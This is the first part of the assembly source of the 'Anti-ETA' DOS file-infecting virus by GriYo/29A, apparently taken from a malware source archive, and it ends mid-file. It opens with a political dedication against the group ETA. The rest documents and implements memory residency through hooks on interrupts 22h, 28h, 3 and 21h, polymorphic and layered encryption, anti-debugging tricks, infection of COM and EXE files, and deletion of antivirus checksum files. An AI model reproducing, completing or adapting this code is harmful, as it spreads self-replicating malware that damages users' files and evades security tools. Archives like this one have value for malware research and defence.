mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
2306 lines
110 KiB
NASM
2306 lines
110 KiB
NASM
;
|
||
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||
; Anti-ETA ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||
; by GriYo/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||
;
|
||
; Introduction
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; This virus is an iniciative of Mister Sandman (writing this right now) and
|
||
; GriYo, supported by the rest of the 29Aers and finally written by GriYo.
|
||
;
|
||
; Espa¤a (Spain in english) is a country that emerged and took its final and
|
||
; actual form during the first years of the XVIth century. It was born from
|
||
; the conjunction of many other kingdoms/independent countries (ie Arag¢n,
|
||
; Catalunya, Galicia, Euskadi, and the most important, Castilla) which lived
|
||
; (and fought) together in the actual spanish territory. This final union
|
||
; was possible by means of marriages between princes and princesses of these
|
||
; kingdoms, pacts, and, of course, wars -which became conquests-.
|
||
;
|
||
; Today, about four centuries later, a very little minority living in Euska-
|
||
; di (right now, one of the seventeen provinces in Spain) claim for their
|
||
; independence by means of violence. They don't hesitate on placing bombs in
|
||
; big stores, streets, cars, etc. thus causing the death of innocent people,
|
||
; or on killing policemen, politicians or anybody who just don't thinks the
|
||
; way they do.
|
||
;
|
||
; Luckily, many of these motherfuckers are arrested and put in prison far
|
||
; away from their home. Anyway, this has also become a problem, as they want
|
||
; to stay only in euskadian prisons, in order to be able to keep in contact
|
||
; with their family. This fact drove them to, apart from do more killings,
|
||
; kidnap an innocent young jailer, called Jos‚ Antonio Ortega Lara.
|
||
;
|
||
; They didn't ask for money. He was put underground in a very tiny and empty
|
||
; room, without any light, without any way to know when it dawns or when it
|
||
; gets dark, with very few oxygen to breath, with only some food every four
|
||
; days, served in the same receptacle where he had to shit and urinate. This
|
||
; is... without anything to do... except of waiting to be freed, and hoping
|
||
; that all the psychic tortures he was going submitted to were going to have
|
||
; an end some day.
|
||
;
|
||
; Happily, the spanish police found and freed him 532 days later. He had a
|
||
; long barb and 27kg less of his normal weight. But he eventually was able
|
||
; to see the light and walk (even talk) again. Today, Jos‚ Ortega Lara is
|
||
; still under psychical attention, carrying a normal life again.
|
||
;
|
||
; However, the reason to be of this virus takes place a few days later, when
|
||
; the euskadian violent-independentist group kidnapped Miguel Angel Blanco,
|
||
; a politician from a small town called Ermua, and threatened to kill him
|
||
; unless the spanish goverment would allow the approaching of the arrested
|
||
; terrorists to Euskadi in a 48-hour deadline. Since this was made public,
|
||
; millions of people went out to the street in order to show their inconfor-
|
||
; mity with this cruel way of acting.
|
||
;
|
||
; Sadly, none of the mass meetings which collapsed the whole Spain for 48
|
||
; hours were enough, and Miguel Angel Blanco, the 28 year-old politician,
|
||
; was eventually killed by one of these terrorists by means of two bullets
|
||
; shot in his head.
|
||
;
|
||
; The name of this euskadian terrorist group is ETA, hence the name of this
|
||
; virus, Anti-ETA, offered as a homage to all the families which were vic-
|
||
; tims of the violent way of acting of these independentists, and especially
|
||
; to Jos‚ Antonio Ortega Lara and Miguel Angel Blanco Garrido (RIP).
|
||
;
|
||
; 29A against terrorism,
|
||
; the 29A staff.
|
||
;
|
||
;
|
||
; Virus behavior
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Code executed when an infected file is run:
|
||
;
|
||
; - Polymorphic decryptor
|
||
; - CPU type check routine
|
||
; - Installation check
|
||
; - COMMAND.COM segment prefix search
|
||
; - Host allocated conventional memory reduction
|
||
; - Conventional memory order for installation
|
||
; - COMMAND.COM segment prefix activation as current PSP (this
|
||
; context change allows Anti-ETA to perform memory allocation
|
||
; calls without warning a good bunch of TSR watchdogs
|
||
; - Interrupt 22h hooking into host PSP (without modifying IVT)
|
||
; - Control return to host
|
||
;
|
||
; Tasks performed by the int 22h handler:
|
||
;
|
||
; - Code decryption
|
||
; - Interrupt 3 (breakpoint) vector saving
|
||
; - Interrupt 3 hooking with the virus handler
|
||
; - Interrupt 28h (DOS idle interrupt that points to an iret
|
||
; instruction by default) vector order
|
||
; - First byte of current int 28h handler storing, instead of
|
||
; an int 3 instruction
|
||
; - Jump to the original int 22h
|
||
;
|
||
; Every time in which COMMAND.COM calls its idle interrupt, a
|
||
; breakpoint instruction gives the control to the interrupt 3
|
||
; handler, owned by Anti-ETA. This handler will count the
|
||
; number of calls until it determines that it's safe to hook
|
||
; interrupt 21h. I stole the idea on using int 28h in such a
|
||
; way from Rhincewind (see Catch22 TSR loader), but this
|
||
; approach is much more enhanced ;)
|
||
;
|
||
; Code executed from the idle interrupt:
|
||
;
|
||
; - Another decryption loop performance
|
||
; - First int 28h byte restoring
|
||
; - Interrupt 3 vector restoring
|
||
; - Virus body move to another memory block (including UMBs)
|
||
; - Old memory block release
|
||
; - Interrupt 21h hooking
|
||
;
|
||
; Encryption
|
||
; ÄÄÄÄÄÄÄÄÄÄ
|
||
; The main polymorphic decryptor receives the control when an infected file
|
||
; file is executed. On program termination, the virus int 22h handler recei-
|
||
; ves the control and decrypts the whole Anti-ETA body using the decryptor
|
||
; code as key. Another decryptor appears when execution reaches virus' int 3
|
||
; handler from the previously redirected idle interrupt.
|
||
;
|
||
; Infection and activation routines are also encrypted in memory (using a
|
||
; random cipher key each time) and their code will be decrypted on the fly
|
||
; when necessary.
|
||
;
|
||
;
|
||
; Polymorphism
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Anti-ETA is polymorphic in EXE and COM files, as well as in the COM files
|
||
; it sometimes may drop after having been called function 3bh of int 21h.
|
||
;
|
||
;
|
||
; File infection
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; When any file is executed, Anti-ETA just stores the file name and infects
|
||
; it upon termination, and same for open/close functions.
|
||
;
|
||
; Every time the virus modifies any file, ANTI-VIR.DAT and CHKLIST.MS will
|
||
; be deleted (if they exist) in order to avoid getting caught by any kind of
|
||
; integrity checker.
|
||
;
|
||
; While infecting files, Anti-ETA uses standard DOS calls, checking for
|
||
; errors after each of them and without using any system file table (looking
|
||
; for some network compatibility).
|
||
;
|
||
; The virus tries to find the original int 21h entry point (using the 52h
|
||
; function backdoor), and uses it in all the file infection routines, thus
|
||
; bypassing many TSR watchdogs.
|
||
;
|
||
; Finally, the int 3 vector is redirected to the original int 21h EP, and
|
||
; Anti-ETA uses an int 3 instruction (only 1 byte) when calling any DOS
|
||
; function for infection.
|
||
;
|
||
;
|
||
; Retro functions
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; Checksum files ANTI-VIR.DAT and CHKLIST.MS are deleted from every directo-
|
||
; ry where a file is going to be infected. Apart from this, the virus con-
|
||
; tains some antidebugging code.
|
||
;
|
||
;
|
||
; Activation routines
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; On every call to the int 21h function 3bh (set current directory), the vi-
|
||
; rus will sometimes drop an infected COM file, with a random name and a
|
||
; random date/time stamp). Its size will be also random due to the polymor-
|
||
; phic encryption... and... btw, Anti-ETA will not infect its sons, just be-
|
||
; cause they're too small ;)
|
||
;
|
||
; The main payload effect triggers every july 10th (the date in which Miguel
|
||
; Angel Blanco was kidnapped), displaying a graphic that consists on a whi-
|
||
; te hand in which reads "Anti-ETA". The white hand is the symbol which we
|
||
; use in Spain to tell ETA "STOP THE KILLING!".
|
||
;
|
||
;
|
||
; Greetings
|
||
; ÄÄÄÄÄÄÄÄÄ
|
||
; This time, very special greetings go from the 29A staff to all the victims
|
||
; of ETA, hoping this will have an end some day in the future.
|
||
;
|
||
;
|
||
; Compiling it
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; tasm /m anti-eta.asm
|
||
; tlink anti-eta.obj
|
||
|
||
|
||
anti_eta segment
|
||
.386
|
||
assume cs:anti_eta,ds:anti_eta,es:anti_eta,ss:anti_eta
|
||
org 0000h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Some useful equates ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
mem_byte_size equ offset virus_mem_end - offset entry_point
|
||
mem_para_size equ (mem_byte_size+000Fh)/0010h
|
||
inf_byte_size equ offset virus_inf_end - offset entry_point
|
||
inf_para_size equ (inf_byte_size+000Fh)/0010h
|
||
byte_area01h equ offset end_area01h - offset crypt_area01h
|
||
byte_area02h equ offset end_area02h - offset crypt_area02h
|
||
byte_area03h equ offset end_area03h - offset crypt_area03h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus entry point for all targets (COM and EXE files) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
entry_point: push ds ; Save segment regs
|
||
push es
|
||
db 0BDh ; Get delta
|
||
delta: dw 0000h ; (mov bp,nnnn)
|
||
push cs ; Point DS to
|
||
pop ds ; our code
|
||
cli ; Check for 386+
|
||
pushf ; CPU
|
||
pop ax
|
||
or ax,2000h
|
||
push ax
|
||
popf
|
||
pushf
|
||
pop ax
|
||
sti
|
||
test ax,2000h ; Exit if 286
|
||
jz exit_install ; or below
|
||
mov esi,"ANTI"
|
||
mov ah,30h ; Get DOS version
|
||
int 21h ; and perform
|
||
cmp esi,"ETA!" ; installation
|
||
je exit_install ; check
|
||
cmp al,05h ; MS-DOS 5.0+
|
||
jb exit_install ; check
|
||
|
||
; I found a problem using this method of residency
|
||
; when the virus tries to go resident while a copy
|
||
; of itself is waiting for enough DOS idle time.
|
||
;
|
||
; Fix:
|
||
;
|
||
; The virus can check if another copy of itself is
|
||
; using the DOS idle interrupt. Just check for a
|
||
; breakpoint in the first byte of int 28h.
|
||
|
||
mov ax,3528h ; Get int 28h
|
||
int 21h ; vector
|
||
cmp byte ptr es:[bx],0CCh ; int 3?
|
||
je exit_install ; Yes, abort
|
||
mov ah,62h ; Get and save
|
||
int 21h ; active PSP
|
||
mov es,bx ; ES:SI -> host PSP
|
||
xor si,si
|
||
mov dx,bx ; Always DW=host PSP
|
||
|
||
; A new problem appears when an infected program
|
||
; executes another file which is also infected.
|
||
;
|
||
; Fix:
|
||
;
|
||
; Get parent PSP and check the name of the MCB
|
||
; behind. Go resident only if the command inter-
|
||
; preter is the parent of the infected host.
|
||
|
||
mov ax,word ptr es:[si+16h] ; Get parent PSP
|
||
mov di,ax
|
||
dec ax ; Get parent MCB
|
||
mov es,ax
|
||
cmp dword ptr es:[si+08h],"MMOC" ; Check name in MCB
|
||
jne exit_install
|
||
mov es,dx ; Get host PSP
|
||
mov ah,4Ah ; Get free memory
|
||
push ax
|
||
mov bx,0FFFFh
|
||
int 21h
|
||
pop ax
|
||
sub bx,mem_para_size+01h ; Sub some memory
|
||
int 21h ; for our code
|
||
jc exit_install
|
||
mov bx,di
|
||
mov ah,50h ; Activate command
|
||
int 21h ; PSP
|
||
jc exit_install
|
||
mov ah,48h ; Ask for memory
|
||
mov bx,mem_para_size
|
||
int 21h
|
||
mov es,ax ; Copy virus to
|
||
call move_virus ; allocated memory
|
||
push ds
|
||
mov ds,dx
|
||
xor si,si ; DS:SI -> host PSP
|
||
mov eax,dword ptr ds:[si+0Ah] ; Get int 22h vector,
|
||
mov dword ptr es:[old22h],eax ; save it and point
|
||
mov word ptr ds:[si+0Ah],offset my22h ; to our handle
|
||
mov word ptr ds:[si+0Ch],es
|
||
pop ds
|
||
mov bx,dx
|
||
mov ah,50h ; Now set host PSP
|
||
int 21h ; as current PSP
|
||
|
||
exit_install: mov eax,dword ptr ds:[bp+host_type]
|
||
cmp eax,".COM" ; Is it a COM host?
|
||
je exit_com
|
||
cmp eax,".EXE" ; An EXE host?
|
||
je exit_exe
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Exit for 1st virus generation ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
exit_launcher: pop es ; Exit virus launcher
|
||
pop ds ; Restore segment
|
||
mov ax,4C00h ; regs and call to
|
||
int 21h ; terminate prog
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Exit from a COM file ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
exit_com: mov eax,dword ptr ds:[bp+old_header] ; Restore first
|
||
mov dword ptr ds:[0100h],eax ; four bytes
|
||
pop es ; Restore segments
|
||
pop ds
|
||
push cs ; Save return address
|
||
push 0100h
|
||
xor ax,ax ; Clear some regs
|
||
mov bx,ax
|
||
mov cx,ax
|
||
mov dx,ax
|
||
mov si,ax
|
||
mov di,ax
|
||
mov bp,ax
|
||
retf
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Exit from an EXE file ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
exit_exe: mov ah,62h ; Get active PSP
|
||
int 21h
|
||
add bx,0010h ; Calculate host CS
|
||
add word ptr ds:[bp+exe_ip_cs+02h],bx
|
||
add bx,word ptr ds:[bp+old_header+0Eh] ; Calculate host SS
|
||
pop es ; Restore segments
|
||
pop ds
|
||
cli ; Fix program stack
|
||
mov ss,bx
|
||
mov sp,word ptr cs:[bp+old_header+10h]
|
||
sti
|
||
xor ax,ax ; Clear some regs
|
||
mov bx,ax
|
||
mov cx,ax
|
||
mov dx,ax
|
||
mov si,ax
|
||
mov di,ax
|
||
mov bp,ax
|
||
db 0EBh,00h ; Clear prefetch
|
||
db 0EAh ; Get control back
|
||
exe_ip_cs dd 00000000h ; to host
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Move virus code to another memory location ³
|
||
;³ On entry: ³
|
||
;³ DS:BP -> current location ³
|
||
;³ ES -> new segment location ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
move_virus: sub di,di
|
||
mov si,bp
|
||
mov cx,inf_byte_size
|
||
cld
|
||
rep movsb
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Insert/remove breakpoint into/from int 28h handler code (DOS idle) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
xchg28h: push di
|
||
push es
|
||
cli
|
||
les di,dword ptr cs:[old28h] ; Xchg int 28h
|
||
mov al,byte ptr es:[di] ; first byte
|
||
xchg al,byte ptr cs:[breakpoint] ; with out buffer
|
||
stosb
|
||
sti
|
||
pop es
|
||
pop di
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Some code and data out of all the sub-decryptors ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
old03h dd 00000000h ; Int 3 vector
|
||
crypt_leave21h: db 0EBh,00h ; Clear prefetch
|
||
db 0EAh ; Get control back
|
||
old21h dd 00000000h ; to original int 21h
|
||
orig21h dd 00000000h ; DOS entry point
|
||
crypt_leave22h: db 0EBh,00h ; Clear prefetch
|
||
db 0EAh ; Get control back
|
||
old22h dd 00000000h ; to original int 22h
|
||
old24h dd 00000000h ; Critical error
|
||
old28h dd 00000000h ; to original int 28h
|
||
breakpoint db 00h ; Int 28h 1st byte
|
||
host_type dd "CEPA" ; File type
|
||
crypt_delta dw 0000h ; Delta for decryptor
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Crypt/decrypt area 01h ³
|
||
;³ On entry: ³
|
||
;³ DS -> area 01h segment to crypt/decrypt ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypto01h: push bx
|
||
push es
|
||
push ds
|
||
pop es
|
||
mov si,word ptr cs:[crypt_delta]
|
||
add si,offset crypt_area01h
|
||
mov di,si
|
||
mov bx,offset crypto01h
|
||
mov cx,(byte_area01h+01h)/02h
|
||
cld
|
||
crypt_loop01h: lodsw
|
||
push ax
|
||
pop dx
|
||
cli
|
||
mov ax,0002h ; Simple stack
|
||
sub sp,ax ; verification
|
||
sti
|
||
pop ax
|
||
cmp ax,dx
|
||
jne crypt_loop01h ; Fool tracing
|
||
xor ax,word ptr cs:[bx] ; Use our code as key
|
||
stosw ; to avoid
|
||
inc bx ; modifications
|
||
cmp bx,offset exit_crypt01h
|
||
jne continue01h
|
||
mov bx,offset crypto01h
|
||
continue01h: loop crypt_loop01h
|
||
pop es
|
||
pop bx
|
||
exit_crypt01h: ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus int 22h handler ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
my22h: push cs ; Point DS to
|
||
pop ds ; virus code
|
||
mov word ptr ds:[crypt_delta],0000h ; Clear delta crypt
|
||
mov eax,dword ptr ds:[host_type] ; Launcher doesn't
|
||
cmp eax,"CEPA" ; need decryption
|
||
je skip_area01h
|
||
call crypto01h ; Do decryption
|
||
crypt_area01h equ this byte
|
||
skip_area01h: db 0EBh,00h ; Clear prefetch
|
||
mov al,03h ; Save old int 3
|
||
call get_int ; vector
|
||
mov word ptr ds:[old03h],bx
|
||
mov word ptr ds:[old03h+02h],es ; Hook int 3 to
|
||
mov dx,offset my03h ; our int 21h
|
||
call set_int ; Hooking routine
|
||
mov al,28h ; Save int 28h
|
||
call get_int ; vector and
|
||
mov word ptr ds:[old28h],bx ; insert an int 3
|
||
mov word ptr ds:[old28h+02h],es ; instruction over
|
||
mov byte ptr ds:[breakpoint],0CCh ; the handler code
|
||
call xchg28h
|
||
exit22h: jmp crypt_leave22h
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Crypt/decrypt area 02h ³
|
||
;³ On entry: ³
|
||
;³ DS -> segment of area 02h to crypt/decrypt ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypto02h: push es
|
||
push ds
|
||
pop es
|
||
mov si,word ptr cs:[crypt_delta]
|
||
add si,offset crypt_area02h
|
||
mov di,si
|
||
mov cx,(byte_area02h+02h)/02h
|
||
cld
|
||
crypt_loop02h: lodsw
|
||
xchg ah,al
|
||
stosw
|
||
loop crypt_loop02h
|
||
pop es
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Virus int 3 handler (called on every int 28h call) ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
my03h: call push_all ; Save all regs
|
||
push cs ; Point DS to
|
||
pop ds ; virus code
|
||
mov eax,dword ptr ds:[host_type] ; Launcher doesn't
|
||
cmp eax,"CEPA" ; need decryption
|
||
je skip_area02h
|
||
call crypto02h ; Do decryption
|
||
db 0EBh,00h ; Clear prefetch
|
||
skip_area02h: call xchg28h ; Remove breakpoint
|
||
mov si,mem_para_size ; Allocate memory
|
||
call mem_alloc
|
||
or di,di ; Exit if error
|
||
jz cant_move_it ; on mem allocation
|
||
push di
|
||
mov es,di ; Copy virus to
|
||
sub bp,bp ; memory
|
||
call move_virus ; Continue execution
|
||
push offset continue_here ; at newly allocated
|
||
retf ; memory block
|
||
continue_here: mov ah,49h ; Free old virus
|
||
push ds ; memory
|
||
pop es
|
||
int 21h
|
||
cant_move_it: mov al,03h ; Restore int 3
|
||
lds dx,dword ptr cs:[old03h]
|
||
call set_int
|
||
push cs
|
||
pop ds
|
||
mov ax,3521h ; Get and save
|
||
int 21h ; current int 21h
|
||
mov word ptr ds:[old21h],bx
|
||
mov word ptr ds:[old21h+02h],es
|
||
mov word ptr ds:[orig21h],bx
|
||
mov word ptr ds:[orig21h+02h],es
|
||
mov ah,52h ; Use this backdoor
|
||
int 21h ; to get int 21h
|
||
mov bx,109Eh ; kernel entry point
|
||
cmp word ptr es:[bx],9090h
|
||
jne no_backdoor
|
||
cmp byte ptr es:[bx+02h],0E8h
|
||
jne no_backdoor
|
||
cmp word ptr es:[bx+05h],0FF2Eh
|
||
jne no_backdoor
|
||
mov word ptr ds:[orig21h],bx
|
||
mov word ptr ds:[orig21h+02h],es
|
||
|
||
; Function 52h (get ptr to dos info block) returns
|
||
; in ES the segment of the DOS entry point. Offset
|
||
; seems to be always 109eh in lots of machines.
|
||
;
|
||
; Anti-ETA will check if the code looks like:
|
||
;
|
||
; nop -> 90h
|
||
; nop -> 90h
|
||
; call xxxx -> E8h xx xx
|
||
; jmp dword ptr cs:[yyyy] -> 2Eh FFh 2Eh yy yy
|
||
|
||
no_backdoor: mov eax,dword ptr ds:[host_type] ; Launcher needs
|
||
cmp eax,"CEPA" ; encryption
|
||
jne skip_area03h
|
||
call crypto03h
|
||
skip_area03h: mov ax,2521h ; Point int 21h
|
||
mov dx,offset my21h ; to our handler
|
||
int 21h
|
||
exit03h: call pop_all ; Restore saved regs
|
||
pushf
|
||
call dword ptr cs:[old28h]
|
||
cli ; Fix stack
|
||
add sp,0006h ; and return to
|
||
sti ; int 28h caller
|
||
iret
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Do encryption over area 03h (int 21h code) ³
|
||
;³ On entry: ³
|
||
;³ DS -> segment of area 03h to crypt/decrypt ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
crypt_area02h equ this byte
|
||
crypto03h: db 0EBh,00h ; Clear prefetch
|
||
push si ; Save some
|
||
push di ; regs and
|
||
push es ; perform
|
||
short_way: push ds ; encryption
|
||
pop es ; using add
|
||
mov si,word ptr cs:[crypt_delta] ; instruction
|
||
add si,offset crypt_area03h
|
||
mov di,si
|
||
mov cx,(byte_area03h+01h)/02h
|
||
cld
|
||
db 0EBh,00h ; Clear prefetch
|
||
crypt_loop03h: lodsw
|
||
db 05h ; add ax,xxxx
|
||
crypt21h_key dw 029Ah
|
||
stosw
|
||
loop crypt_loop03h
|
||
pop es
|
||
pop di
|
||
pop si
|
||
ret
|
||
|
||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
;³ Decrypt virus int 21h code if needed ³
|
||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
rm_crypt21h: mov ax,cs ; Remove int 21h
|
||
mov ds,ax ; encryption
|
||
mov es,ax ; using sub
|
||
mov si,offset crypt_area03h ; instruction
|
||
mov di,si
|
||
mov cx,(byte_area03h+01h)/02h
|
||
cld
